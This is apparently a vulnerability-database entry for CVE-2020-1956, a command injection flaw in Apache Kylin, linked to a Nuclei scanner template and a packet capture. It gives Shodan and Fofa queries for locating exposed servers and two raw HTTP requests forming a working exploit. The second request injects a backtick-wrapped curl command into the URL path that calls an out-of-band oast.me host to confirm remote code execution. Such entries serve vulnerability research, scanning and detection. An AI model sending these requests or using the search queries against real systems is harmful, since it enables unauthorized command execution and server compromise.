| Title | Apache Kylin 3.0.1 - Command Injection Vulnerability |
|---|---|
| Author | iamnoooob,rootxharsh,pdresearch |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized remote code execution and potential compromise of the affected server. |
| Remediation | Upgrade to a patched version of Apache Kylin or apply the necessary security patches provided by the vendor. |
| CVSS Score | 8.8 |
| EPSS Score | 0.93559 |
| CVE ID | CVE-2020-1956 |
| CWE ID | CWE-78 |
| Shodan Query | http.favicon.hash:-186961397 |
| Fofa Query | icon_hash=-186961397 |
| Tags | cve cve2020 apache kylin rce oast kev vkev vuln |
Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.
POST /kylin/api/user/authentication HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Connection: close
Transfer-Encoding: chunked
Authorization: Basic SGhVdFJkOkM2RlJ5d3Zi
Accept-Encoding: gzip
0
POST /kylin/api/cubes/kylin_streaming_cube/%2031%60curl%20d5jolt9le0o0vm6slkggtc9kpzai6651o.oast.me%60/migrate HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Connection: close
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
0
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-1956.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-1956.pcap
N/AN/A